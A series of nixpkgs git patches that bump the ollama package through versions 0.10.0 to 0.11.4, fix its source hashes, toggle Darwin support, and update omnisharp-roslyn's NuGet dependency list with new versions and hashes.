-    hash = "sha256-fVbHz/Sa3aSIYBic3lNQl5iUYo+9LHIk52vO9mx6XRE=";
+    hash = "sha256-BoT4WUapxakETHAlHP64okcReMIhQ+PzKaSVpELvrcI=";
     fetchSubmodules = true;
   };
 
-  vendorHash = "sha256-oHTo8EQGfrKOwg6SRPrL23qSH+p+clBxxiXsuO1auLk=";
+  vendorHash = "sha256-SlaDsu001TUW+t9WRp7LqxUSQSGDF1Lqu9M1bgILoX4=";
 
   env =
     lib.optionalAttrs enableRocm {

From 0978efaceb59560b253a110b7f395242529b3f77 Mon Sep 17 00:00:00 2001
From: Ben Siraphob <bensiraphob@gmail.com>
Date: Tue, 5 Aug 2025 10:07:59 -0700
Subject: [PATCH 3395/4511] ollama: 0.10.0 -> 0.11.0

(cherry picked from commit abe860e8d220dbe92b11ce6334571d1a147ff050)
---
 pkgs/by-name/ol/ollama/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/ol/ollama/package.nix b/pkgs/by-name/ol/ollama/package.nix
index 2d0fa1dd0028..2b0cdf39d8be 100644
--- a/pkgs/by-name/ol/ollama/package.nix
+++ b/pkgs/by-name/ol/ollama/package.nix
@@ -116,13 +116,13 @@ in
 goBuild (finalAttrs: {
   pname = "ollama";
   # don't forget to invalidate all hashes each update
-  version = "0.10.0";
+  version = "0.11.0";
 
   src = fetchFromGitHub {
     owner = "ollama";
     repo = "ollama";
     tag = "v${finalAttrs.version}";
-    hash = "sha256-BoT4WUapxakETHAlHP64okcReMIhQ+PzKaSVpELvrcI=";
+    hash = "sha256-fBoSt/chnxnlD6/HsWeMX9TR7Du7RCOmWcqCKamyK7A=";
     fetchSubmodules = true;
   };
 

From 94f0ca6417f1a2f2fed2b036cd92a99497abb55f Mon Sep 17 00:00:00 2001
From: Bas Nijholt <basnijholt@gmail.com>
Date: Tue, 5 Aug 2025 11:21:54 -0700
Subject: [PATCH 3396/4511] ollama: fix source hash for version 0.11.0

The current hash in package.nix doesn't match the actual v0.11.0
source,
causing build failures with hash mismatch errors.

Update hash from
sha256-fBoSt/chnxnlD6/HsWeMX9TR7Du7RCOmWcqCKamyK7A=
to sha256-po7BxJAj9eOpOaXsLDmw6/1RyjXPtXza0YUv0pVojZ0=

This follows nixpkgs conventions:
- PR title: package: brief description
- Commit message: explains what and why, with specific details
about the hash change

(cherry picked from commit 49a95e445e8f29b6f60cfca13b7d86d809b71264)
---
 pkgs/by-name/ol/ollama/package.nix | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/pkgs/by-name/ol/ollama/package.nix b/pkgs/by-name/ol/ollama/package.nix
index 2b0cdf39d8be..a0c2d6afabb7 100644
--- a/pkgs/by-name/ol/ollama/package.nix
+++ b/pkgs/by-name/ol/ollama/package.nix
@@ -122,7 +122,7 @@ goBuild (finalAttrs: {
     owner = "ollama";
     repo = "ollama";
     tag = "v${finalAttrs.version}";
-    hash = "sha256-fBoSt/chnxnlD6/HsWeMX9TR7Du7RCOmWcqCKamyK7A=";
+    hash = "sha256-po7BxJAj9eOpOaXsLDmw6/1RyjXPtXza0YUv0pVojZ0=";
     fetchSubmodules = true;
   };
 

From bbbaef9fcc5af2bd0c6b273579d4db4c5f6da2be Mon Sep 17 00:00:00 2001
From: Pavol Rusnak <pavol@rusnak.io>
Date: Wed, 6 Aug 2025 09:41:31 +0200
Subject: [PATCH 3397/4511] ollama: 0.11.0 -> 0.11.3

(cherry picked from commit 6c5f7adf5360eacb5320b5763d2996400d843880)
---
 pkgs/by-name/ol/ollama/package.nix | 5 ++---
 1 file changed, 2 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/ol/ollama/package.nix b/pkgs/by-name/ol/ollama/package.nix
index a0c2d6afabb7..445031a11df5 100644
--- a/pkgs/by-name/ol/ollama/package.nix
+++ b/pkgs/by-name/ol/ollama/package.nix
@@ -116,14 +116,13 @@ in
 goBuild (finalAttrs: {
   pname = "ollama";
   # don't forget to invalidate all hashes each update
-  version = "0.11.0";
+  version = "0.11.3";
 
   src = fetchFromGitHub {
     owner = "ollama";
     repo = "ollama";
     tag = "v${finalAttrs.version}";
-    hash = "sha256-po7BxJAj9eOpOaXsLDmw6/1RyjXPtXza0YUv0pVojZ0=";
-    fetchSubmodules = true;
+    hash = "sha256-FghgCtVQIxc9qB5vZZlblugk6HLnxoT8xanZK+N8qEc=";
   };
 
   vendorHash = "sha256-SlaDsu001TUW+t9WRp7LqxUSQSGDF1Lqu9M1bgILoX4=";

From c50a771166cc94658b9d3ec51ad88c43e039250c Mon Sep 17 00:00:00 2001
From: eveeifyeve <88671402+Eveeifyeve@users.noreply.github.com>
Date: Fri, 8 Aug 2025 23:25:31 +1000
Subject: [PATCH 3398/4511] ollama: mark as broken on darwin

Marking this as broken for now, as this is a upstream issue and it's not
worth creating a patch when they fix it upstream. See issue #431464 for
more details.

(cherry picked from commit cbb7f7a46a1c5ec4e7c0cb9fd1ee58fb2a6a4658)
---
 pkgs/by-name/ol/ollama/package.nix | 1 +
 1 file changed, 1 insertion(+)

diff --git a/pkgs/by-name/ol/ollama/package.nix b/pkgs/by-name/ol/ollama/package.nix
index 445031a11df5..d0f7d8fa7640 100644
--- a/pkgs/by-name/ol/ollama/package.nix
+++ b/pkgs/by-name/ol/ollama/package.nix
@@ -251,6 +251,7 @@ goBuild (finalAttrs: {
     changelog = "https://github.com/ollama/ollama/releases/tag/v${finalAttrs.version}";
     license = licenses.mit;
     platforms = if (rocmRequested || cudaRequested) then platforms.linux else platforms.unix;
+    broken = stdenv.hostPlatform.isDarwin; # TODO: Remove after upstream issue is fixed, see issue #431464 and comments.
     mainProgram = "ollama";
     maintainers = with maintainers; [
       abysssol

From 435b9d1c88e27afcca599938c0eda31f8d9414f0 Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Sat, 9 Aug 2025 04:27:53 +0000
Subject: [PATCH 3399/4511] ollama: 0.11.3 -> 0.11.4

(cherry picked from commit 7a7e6e3bdf31856d84dcba749fc5232e9fb4b554)
---
 pkgs/by-name/ol/ollama/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/ol/ollama/package.nix b/pkgs/by-name/ol/ollama/package.nix
index d0f7d8fa7640..f4d4c1be7154 100644
--- a/pkgs/by-name/ol/ollama/package.nix
+++ b/pkgs/by-name/ol/ollama/package.nix
@@ -116,13 +116,13 @@ in
 goBuild (finalAttrs: {
   pname = "ollama";
   # don't forget to invalidate all hashes each update
-  version = "0.11.3";
+  version = "0.11.4";
 
   src = fetchFromGitHub {
     owner = "ollama";
     repo = "ollama";
     tag = "v${finalAttrs.version}";
-    hash = "sha256-FghgCtVQIxc9qB5vZZlblugk6HLnxoT8xanZK+N8qEc=";
+    hash = "sha256-joIA/rH8j+SJH5EVMr6iqKLve6bkntPQM43KCN9JTZ8=";
   };
 
   vendorHash = "sha256-SlaDsu001TUW+t9WRp7LqxUSQSGDF1Lqu9M1bgILoX4=";

From 7174fa21e87a50cb39850c7f5eaa4c571fd9d4b4 Mon Sep 17 00:00:00 2001
From: Pavol Rusnak <pavol@rusnak.io>
Date: Sun, 10 Aug 2025 11:12:05 +0200
Subject: [PATCH 3400/4511] ollama: unbreak on darwin by using apple-sdk_15

(cherry picked from commit a188ff8f04c416199643f4941c7aaeb0ac6d7ad1)
---
 pkgs/by-name/ol/ollama/package.nix | 6 ++++--
 1 file changed, 4 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/ol/ollama/package.nix b/pkgs/by-name/ol/ollama/package.nix
index f4d4c1be7154..b05ca97d35a1 100644
--- a/pkgs/by-name/ol/ollama/package.nix
+++ b/pkgs/by-name/ol/ollama/package.nix
@@ -18,6 +18,7 @@
   cudaPackages,
   cudaArches ? cudaPackages.flags.realArches or [ ],
   autoAddDriverRunpath,
+  apple-sdk_15,
 
   # passthru
   nixosTests,
@@ -152,7 +153,9 @@ goBuild (finalAttrs: {
   ];
 
   buildInputs =
-    lib.optionals enableRocm (rocmLibs ++ [ libdrm ]) ++ lib.optionals enableCuda cudaLibs;
+    lib.optionals enableRocm (rocmLibs ++ [ libdrm ])
+    ++ lib.optionals enableCuda cudaLibs
+    ++ lib.optionals stdenv.hostPlatform.isDarwin [ apple-sdk_15 ];
 
   # replace inaccurate version number with actual release version
   postPatch = ''
@@ -251,7 +254,6 @@ goBuild (finalAttrs: {
     changelog = "https://github.com/ollama/ollama/releases/tag/v${finalAttrs.version}";
     license = licenses.mit;
     platforms = if (rocmRequested || cudaRequested) then platforms.linux else platforms.unix;
-    broken = stdenv.hostPlatform.isDarwin; # TODO: Remove after upstream issue is fixed, see issue #431464 and comments.
     mainProgram = "ollama";
     maintainers = with maintainers; [
       abysssol

From 0142a8b5c07bf409d38e19d647abc7f3a2f7fc1d Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Sun, 10 Aug 2025 11:37:31 +0000
Subject: [PATCH 3401/4511] omnisharp-roslyn: 1.39.13 -> 1.39.14

(cherry picked from commit 2e6ac75454e82c8b3b599109f896fea5f2acac50)
---
 pkgs/by-name/om/omnisharp-roslyn/deps.json   | 290 +++++++++----------
 pkgs/by-name/om/omnisharp-roslyn/package.nix |   4 +-
 2 files changed, 147 insertions(+), 147 deletions(-)

diff --git a/pkgs/by-name/om/omnisharp-roslyn/deps.json b/pkgs/by-name/om/omnisharp-roslyn/deps.json
index f77201713588..aed42830c6ed 100644
--- a/pkgs/by-name/om/omnisharp-roslyn/deps.json
+++ b/pkgs/by-name/om/omnisharp-roslyn/deps.json
@@ -31,8 +31,8 @@
   },
   {
     "pname": "ICSharpCode.Decompiler",
-    "version": "8.2.0.7535",
-    "hash": "sha256-4BWs04Va9pc/SLeMA/vKoBydhw+Bu6s9MDtoo/Ucft8="
+    "version": "9.1.0.7988",
+    "hash": "sha256-zPLgLNO4cCrtN9BR9x6X+W0MNkQ71nADIopOC1VBhAQ="
   },
   {
     "pname": "McMaster.Extensions.CommandLineUtils",
@@ -59,6 +59,11 @@
     "version": "8.0.0",
     "hash": "sha256-9aWmiwMJKrKr9ohD1KSuol37y+jdDxPGJct3m2/Bknw="
   },
+  {
+    "pname": "Microsoft.Bcl.AsyncInterfaces",
+    "version": "9.0.0",
+    "hash": "sha256-BsXNOWEgfFq3Yz7VTtK6m/ov4/erRqyBzieWSIpmc1U="
+  },
   {
     "pname": "Microsoft.Build",
     "version": "17.3.2",
@@ -96,33 +101,33 @@
   },
   {
     "pname": "Microsoft.CodeAnalysis.Common",
-    "version": "4.13.0-3.24620.4",
-    "hash": "sha256-VSPRpTzEXnTNQAxXDOOi6YVS2C6/S2zTKgQR4aNkxME=",
-    "url": "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/d1622942-d16f-48e5-bc83-96f4539e7601/nuget/v3/flat2/microsoft.codeanalysis.common/4.13.0-3.24620.4/microsoft.codeanalysis.common.4.13.0-3.24620.4.nupkg"
+    "version": "4.14.0-3.25168.13",
+    "hash": "sha256-iQUNxmc2oGFqADDfNXj8A1O1nea6nxobBcYwBgqq8oY=",
+    "url": "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/d1622942-d16f-48e5-bc83-96f4539e7601/nuget/v3/flat2/microsoft.codeanalysis.common/4.14.0-3.25168.13/microsoft.codeanalysis.common.4.14.0-3.25168.13.nupkg"
   },
   {
     "pname": "Microsoft.CodeAnalysis.CSharp",
-    "version": "4.13.0-3.24620.4",
-    "hash": "sha256-YGxCN8J3BjSZ9hXYQF0nCL3Welv3UVASeSTkwwFPchc=",
-    "url": "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/d1622942-d16f-48e5-bc83-96f4539e7601/nuget/v3/flat2/microsoft.codeanalysis.csharp/4.13.0-3.24620.4/microsoft.codeanalysis.csharp.4.13.0-3.24620.4.nupkg"
+    "version": "4.14.0-3.25168.13",
+    "hash": "sha256-XicPFcDtJis8WS3nkMsxbmE+A20K9x6qE3EWeJEBjh8=",
+    "url": "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/d1622942-d16f-48e5-bc83-96f4539e7601/nuget/v3/flat2/microsoft.codeanalysis.csharp/4.14.0-3.25168.13/microsoft.codeanalysis.csharp.4.14.0-3.25168.13.nupkg"
   },
   {
     "pname": "Microsoft.CodeAnalysis.CSharp.Features",
-    "version": "4.13.0-3.24620.4",
-    "hash": "sha256-qpNsw5OtTAQFnN6g6tIh6+nsr+zc+/Na+oETR/GWxeM=",
-    "url": "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/d1622942-d16f-48e5-bc83-96f4539e7601/nuget/v3/flat2/microsoft.codeanalysis.csharp.features/4.13.0-3.24620.4/microsoft.codeanalysis.csharp.features.4.13.0-3.24620.4.nupkg"
+    "version": "4.14.0-3.25168.13",
+    "hash": "sha256-vI0G7XR92aVD6r5rYIEF+pZ+bpyznnfHVhQvWF3Eu4Q=",
+    "url": "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/d1622942-d16f-48e5-bc83-96f4539e7601/nuget/v3/flat2/microsoft.codeanalysis.csharp.features/4.14.0-3.25168.13/microsoft.codeanalysis.csharp.features.4.14.0-3.25168.13.nupkg"
   },
   {
     "pname": "Microsoft.CodeAnalysis.CSharp.Scripting",
-    "version": "4.13.0-3.24620.4",
-    "hash": "sha256-1D+TjiljZQQJEYIzhdLAbLq8DIvW30vgSDYnDlPoGoU=",
-    "url": "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/d1622942-d16f-48e5-bc83-96f4539e7601/nuget/v3/flat2/microsoft.codeanalysis.csharp.scripting/4.13.0-3.24620.4/microsoft.codeanalysis.csharp.scripting.4.13.0-3.24620.4.nupkg"
+    "version": "4.14.0-3.25168.13",
+    "hash": "sha256-zy8otm38p285W08GGy0M//1ZTOxiCxrC3tBcWKIg4Ps=",
+    "url": "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/d1622942-d16f-48e5-bc83-96f4539e7601/nuget/v3/flat2/microsoft.codeanalysis.csharp.scripting/4.14.0-3.25168.13/microsoft.codeanalysis.csharp.scripting.4.14.0-3.25168.13.nupkg"
   },
   {
     "pname": "Microsoft.CodeAnalysis.CSharp.Workspaces",
-    "version": "4.13.0-3.24620.4",
-    "hash": "sha256-NT7yDEq4fW8c71xHC3YPsP5vl8AZ9PdKASzxROwhccs=",
-    "url": "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/d1622942-d16f-48e5-bc83-96f4539e7601/nuget/v3/flat2/microsoft.codeanalysis.csharp.workspaces/4.13.0-3.24620.4/microsoft.codeanalysis.csharp.workspaces.4.13.0-3.24620.4.nupkg"
+    "version": "4.14.0-3.25168.13",
+    "hash": "sha256-wuttOafOufLuc1DFlp2r8zdfkOrD5eFRRN2/pt/MWtE=",
+    "url": "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/d1622942-d16f-48e5-bc83-96f4539e7601/nuget/v3/flat2/microsoft.codeanalysis.csharp.workspaces/4.14.0-3.25168.13/microsoft.codeanalysis.csharp.workspaces.4.14.0-3.25168.13.nupkg"
   },
   {
     "pname": "Microsoft.CodeAnalysis.Elfie",
@@ -131,39 +136,39 @@
   },
   {
     "pname": "Microsoft.CodeAnalysis.ExternalAccess.AspNetCore",
-    "version": "4.13.0-3.24620.4",
-    "hash": "sha256-91ZFqiu4MlteCir6p7YrOtbUMuRNIpNr6jX5qLdmZgM=",
-    "url": "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/d1622942-d16f-48e5-bc83-96f4539e7601/nuget/v3/flat2/microsoft.codeanalysis.externalaccess.aspnetcore/4.13.0-3.24620.4/microsoft.codeanalysis.externalaccess.aspnetcore.4.13.0-3.24620.4.nupkg"
+    "version": "4.14.0-3.25168.13",
+    "hash": "sha256-zhvnYOrXZvm0+YoVu1mG/X6IK9eIv+Fik9Y4cSBStdc=",
+    "url": "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/d1622942-d16f-48e5-bc83-96f4539e7601/nuget/v3/flat2/microsoft.codeanalysis.externalaccess.aspnetcore/4.14.0-3.25168.13/microsoft.codeanalysis.externalaccess.aspnetcore.4.14.0-3.25168.13.nupkg"
   },
   {
     "pname": "Microsoft.CodeAnalysis.ExternalAccess.OmniSharp",
-    "version": "4.13.0-3.24620.4",
-    "hash": "sha256-o2+DeY/p5AxMkMnYIiNMyMtrAnazzgfC6cVY8lImz4E=",
-    "url": "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/d1622942-d16f-48e5-bc83-96f4539e7601/nuget/v3/flat2/microsoft.codeanalysis.externalaccess.omnisharp/4.13.0-3.24620.4/microsoft.codeanalysis.externalaccess.omnisharp.4.13.0-3.24620.4.nupkg"
+    "version": "4.14.0-3.25168.13",
+    "hash": "sha256-MbPehGBs4q3zJ0gZf6Ab85IUBSyjRPO3nXfXxHus4v4=",
+    "url": "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/d1622942-d16f-48e5-bc83-96f4539e7601/nuget/v3/flat2/microsoft.codeanalysis.externalaccess.omnisharp/4.14.0-3.25168.13/microsoft.codeanalysis.externalaccess.omnisharp.4.14.0-3.25168.13.nupkg"
   },
   {
     "pname": "Microsoft.CodeAnalysis.ExternalAccess.OmniSharp.CSharp",
-    "version": "4.13.0-3.24620.4",
-    "hash": "sha256-LfIgqc7lDoyxbOsGmF4Ji488iXaT1f2ecjZz1662WlM=",
-    "url": "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/d1622942-d16f-48e5-bc83-96f4539e7601/nuget/v3/flat2/microsoft.codeanalysis.externalaccess.omnisharp.csharp/4.13.0-3.24620.4/microsoft.codeanalysis.externalaccess.omnisharp.csharp.4.13.0-3.24620.4.nupkg"
+    "version": "4.14.0-3.25168.13",
+    "hash": "sha256-Hpomx3SEqAFilwaA7yJV60iLXGpWSJAC+7XANxjIpng=",
+    "url": "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/d1622942-d16f-48e5-bc83-96f4539e7601/nuget/v3/flat2/microsoft.codeanalysis.externalaccess.omnisharp.csharp/4.14.0-3.25168.13/microsoft.codeanalysis.externalaccess.omnisharp.csharp.4.14.0-3.25168.13.nupkg"
   },
   {
     "pname": "Microsoft.CodeAnalysis.Features",
-    "version": "4.13.0-3.24620.4",
-    "hash": "sha256-ITkMz+1b9Q9I5UZk4N5+qKD7FPTBMohLDOqx3e2hShI=",
-    "url": "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/d1622942-d16f-48e5-bc83-96f4539e7601/nuget/v3/flat2/microsoft.codeanalysis.features/4.13.0-3.24620.4/microsoft.codeanalysis.features.4.13.0-3.24620.4.nupkg"
+    "version": "4.14.0-3.25168.13",
+    "hash": "sha256-GDrT8bMIzWy6O1MSTXcBIooKNnKDrR4Q5RJnyikRGRI=",
+    "url": "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/d1622942-d16f-48e5-bc83-96f4539e7601/nuget/v3/flat2/microsoft.codeanalysis.features/4.14.0-3.25168.13/microsoft.codeanalysis.features.4.14.0-3.25168.13.nupkg"
   },
   {
     "pname": "Microsoft.CodeAnalysis.Scripting.Common",
-    "version": "4.13.0-3.24620.4",
-    "hash": "sha256-9Pch1BIrhsEwoI3ahgQM4BQBhw1wH9d8X9WB6deM3Sk=",
-    "url": "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/d1622942-d16f-48e5-bc83-96f4539e7601/nuget/v3/flat2/microsoft.codeanalysis.scripting.common/4.13.0-3.24620.4/microsoft.codeanalysis.scripting.common.4.13.0-3.24620.4.nupkg"
+    "version": "4.14.0-3.25168.13",
+    "hash": "sha256-k2M3MfdbTG30PtcNHLHzVimaU8nKsv80XYt0DE6jZAI=",
+    "url": "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/d1622942-d16f-48e5-bc83-96f4539e7601/nuget/v3/flat2/microsoft.codeanalysis.scripting.common/4.14.0-3.25168.13/microsoft.codeanalysis.scripting.common.4.14.0-3.25168.13.nupkg"
   },
   {
     "pname": "Microsoft.CodeAnalysis.Workspaces.Common",
-    "version": "4.13.0-3.24620.4",
-    "hash": "sha256-Ex39ayopBTApxMCjevqn1qVFgjEvbst9sf7twW6+osI=",
-    "url": "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/d1622942-d16f-48e5-bc83-96f4539e7601/nuget/v3/flat2/microsoft.codeanalysis.workspaces.common/4.13.0-3.24620.4/microsoft.codeanalysis.workspaces.common.4.13.0-3.24620.4.nupkg"
+    "version": "4.14.0-3.25168.13",
+    "hash": "sha256-eKk8/Ezlnm+d2XFyfgY8HkyVxASvGisJoppswwqtew8=",
+    "url": "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/d1622942-d16f-48e5-bc83-96f4539e7601/nuget/v3/flat2/microsoft.codeanalysis.workspaces.common/4.14.0-3.25168.13/microsoft.codeanalysis.workspaces.common.4.14.0-3.25168.13.nupkg"
   },
   {
     "pname": "Microsoft.CSharp",
@@ -182,53 +187,53 @@
   },
   {
     "pname": "Microsoft.Extensions.Caching.Abstractions",
-    "version": "8.0.0",
-    "hash": "sha256-xGpKrywQvU1Wm/WolYIxgHYEFfgkNGeJ+GGc5DT3phI="
+    "version": "9.0.0",
+    "hash": "sha256-hDau5OMVGIg4sc5+ofe14ROqwt63T0NSbzm/Cv0pDrY="
   },
   {
     "pname": "Microsoft.Extensions.Caching.Memory",
-    "version": "8.0.1",
-    "hash": "sha256-5Q0vzHo3ZvGs4nPBc/XlBF4wAwYO8pxq6EGdYjjXZps="
+    "version": "9.0.0",
+    "hash": "sha256-OZVOVGZOyv9uk5XGJrz6irBkPNjxnBxjfSyW30MnU0s="
   },
   {
     "pname": "Microsoft.Extensions.Configuration",
-    "version": "8.0.0",
-    "hash": "sha256-9BPsASlxrV8ilmMCjdb3TiUcm5vFZxkBnAI/fNBSEyA="
+    "version": "9.0.0",
+    "hash": "sha256-uBLeb4z60y8z7NelHs9uT3cLD6wODkdwyfJm6/YZLDM="
   },
   {
     "pname": "Microsoft.Extensions.Configuration.Abstractions",
-    "version": "8.0.0",
-    "hash": "sha256-4eBpDkf7MJozTZnOwQvwcfgRKQGcNXe0K/kF+h5Rl8o="
+    "version": "9.0.0",
+    "hash": "sha256-xtG2USC9Qm0f2Nn6jkcklpyEDT3hcEZOxOwTc0ep7uc="
   },
   {
     "pname": "Microsoft.Extensions.Configuration.Binder",
-    "version": "8.0.0",
-    "hash": "sha256-GanfInGzzoN2bKeNwON8/Hnamr6l7RTpYLA49CNXD9Q="
+    "version": "9.0.0",
+    "hash": "sha256-6ajYWcNOQX2WqftgnoUmVtyvC1kkPOtTCif4AiKEffU="
   },
   {
     "pname": "Microsoft.Extensions.Configuration.CommandLine",
-    "version": "8.0.0",
-    "hash": "sha256-fmPC/o8S+weTtQJWykpnGHm6AKVU21xYE/CaHYU7zgg="
+    "version": "9.0.0",
+    "hash": "sha256-RE6DotU1FM1sy5p3hukT+WOFsDYJRsKX6jx5vhlPceM="
   },
   {
     "pname": "Microsoft.Extensions.Configuration.EnvironmentVariables",
-    "version": "8.0.0",
-    "hash": "sha256-+bjFZvqCsMf2FRM2olqx/fub+QwfM1kBhjGVOT5HC48="
+    "version": "9.0.0",
+    "hash": "sha256-tDJx2prYZpr0RKSwmJfsK9FlUGwaDmyuSz2kqQxsWoI="
   },
   {
     "pname": "Microsoft.Extensions.Configuration.FileExtensions",
-    "version": "8.0.0",
-    "hash": "sha256-BCxcjVP+kvrDDB0nzsFCJfU74UK4VBvct2JA4r+jNcs="
+    "version": "9.0.0",
+    "hash": "sha256-PsLo6mrLGYfbi96rfCG8YS1APXkUXBG4hLstpT60I4s="
   },
   {
     "pname": "Microsoft.Extensions.Configuration.Json",
-    "version": "8.0.0",
-    "hash": "sha256-Fi/ijcG5l0BOu7i96xHu96aN5/g7zO6SWQbTsI3Qetg="
+    "version": "9.0.0",
+    "hash": "sha256-qQn7Ol0CvPYuyecYWYBkPpTMdocO7I6n+jXQI2udzLI="
   },
   {
     "pname": "Microsoft.Extensions.DependencyInjection",
-    "version": "8.0.0",
-    "hash": "sha256-+qIDR8hRzreCHNEDtUcPfVHQdurzWPo/mqviCH78+EQ="
+    "version": "9.0.0",
+    "hash": "sha256-dAH52PPlTLn7X+1aI/7npdrDzMEFPMXRv4isV1a+14k="
   },
   {
     "pname": "Microsoft.Extensions.DependencyInjection.Abstractions",
@@ -237,33 +242,33 @@
   },
   {
     "pname": "Microsoft.Extensions.DependencyInjection.Abstractions",
-    "version": "8.0.2",
-    "hash": "sha256-UfLfEQAkXxDaVPC7foE/J3FVEXd31Pu6uQIhTic3JgY="
+    "version": "9.0.0",
+    "hash": "sha256-CncVwkKZ5CsIG2O0+OM9qXuYXh3p6UGyueTHSLDVL+c="
   },
   {
     "pname": "Microsoft.Extensions.DependencyModel",
-    "version": "8.0.0",
-    "hash": "sha256-qkCdwemqdZY/yIW5Xmh7Exv74XuE39T8aHGHCofoVgo="
+    "version": "9.0.0",
+    "hash": "sha256-xirwlMWM0hBqgTneQOGkZ8l45mHT08XuSSRIbprgq94="
   },
   {
     "pname": "Microsoft.Extensions.FileProviders.Abstractions",
-    "version": "8.0.0",
-    "hash": "sha256-uQSXmt47X2HGoVniavjLICbPtD2ReQOYQMgy3l0xuMU="
+    "version": "9.0.0",
+    "hash": "sha256-mVfLjZ8VrnOQR/uQjv74P2uEG+rgW72jfiGdSZhIfDc="
   },
   {
     "pname": "Microsoft.Extensions.FileProviders.Physical",
-    "version": "8.0.0",
-    "hash": "sha256-29y5ZRQ1ZgzVOxHktYxyiH40kVgm5un2yTGdvuSWnRc="
+    "version": "9.0.0",
+    "hash": "sha256-IzFpjKHmF1L3eVbFLUZa2N5aH3oJkJ7KE1duGIS7DP8="
   },
   {
     "pname": "Microsoft.Extensions.FileSystemGlobbing",
-    "version": "8.0.0",
-    "hash": "sha256-+Oz41JR5jdcJlCJOSpQIL5OMBNi+1Hl2d0JUHfES7sU="
+    "version": "9.0.0",
+    "hash": "sha256-eBLa8pW/y/hRj+JbEr340zbHRABIeFlcdqE0jf5/Uhc="
   },
   {
     "pname": "Microsoft.Extensions.Logging",
-    "version": "8.0.0",
-    "hash": "sha256-Meh0Z0X7KyOEG4l0RWBcuHHihcABcvCyfUXgasmQ91o="
+    "version": "9.0.0",
+    "hash": "sha256-kR16c+N8nQrWeYLajqnXPg7RiXjZMSFLnKLEs4VfjcM="
   },
   {
     "pname": "Microsoft.Extensions.Logging.Abstractions",
@@ -272,33 +277,33 @@
   },
   {
     "pname": "Microsoft.Extensions.Logging.Abstractions",
-    "version": "8.0.2",
-    "hash": "sha256-cHpe8X2BgYa5DzulZfq24rg8O2K5Lmq2OiLhoyAVgJc="
+    "version": "9.0.0",
+    "hash": "sha256-iBTs9twjWXFeERt4CErkIIcoJZU1jrd1RWCI8V5j7KU="
   },
   {
     "pname": "Microsoft.Extensions.Logging.Configuration",
-    "version": "8.0.0",
-    "hash": "sha256-mzmstNsVjKT0EtQcdAukGRifD30T82BMGYlSu8k4K7U="
+    "version": "9.0.0",
+    "hash": "sha256-ysPjBq64p6JM4EmeVndryXnhLWHYYszzlVpPxRWkUkw="
   },
   {
     "pname": "Microsoft.Extensions.Logging.Console",
-    "version": "8.0.0",
-    "hash": "sha256-bdb9YWWVn//AeySp7se87/tCN2E7e8Gx2GPMw28cd9c="
+    "version": "9.0.0",
+    "hash": "sha256-N2t9EUdlS6ippD4Z04qUUyBuQ4tKSR/8TpmKScb5zRw="
   },
   {
     "pname": "Microsoft.Extensions.Options",
-    "version": "8.0.2",
-    "hash": "sha256-AjcldddddtN/9aH9pg7ClEZycWtFHLi9IPe1GGhNQys="
+    "version": "9.0.0",
+    "hash": "sha256-DT5euAQY/ItB5LPI8WIp6Dnd0lSvBRP35vFkOXC68ck="
   },
   {
     "pname": "Microsoft.Extensions.Options.ConfigurationExtensions",
-    "version": "8.0.0",
-    "hash": "sha256-A5Bbzw1kiNkgirk5x8kyxwg9lLTcSngojeD+ocpG1RI="
+    "version": "9.0.0",
+    "hash": "sha256-r1Z3sEVSIjeH2UKj+KMj86har68g/zybSqoSjESBcoA="
   },
   {
     "pname": "Microsoft.Extensions.Primitives",
-    "version": "8.0.0",
-    "hash": "sha256-FU8qj3DR8bDdc1c+WeGZx/PCZeqqndweZM9epcpXjSo="
+    "version": "9.0.0",
+    "hash": "sha256-ZNLusK1CRuq5BZYZMDqaz04PIKScE2Z7sS2tehU7EJs="
   },
   {
     "pname": "Microsoft.IO.Redist",
@@ -392,57 +397,57 @@
   },
   {
     "pname": "NuGet.Common",
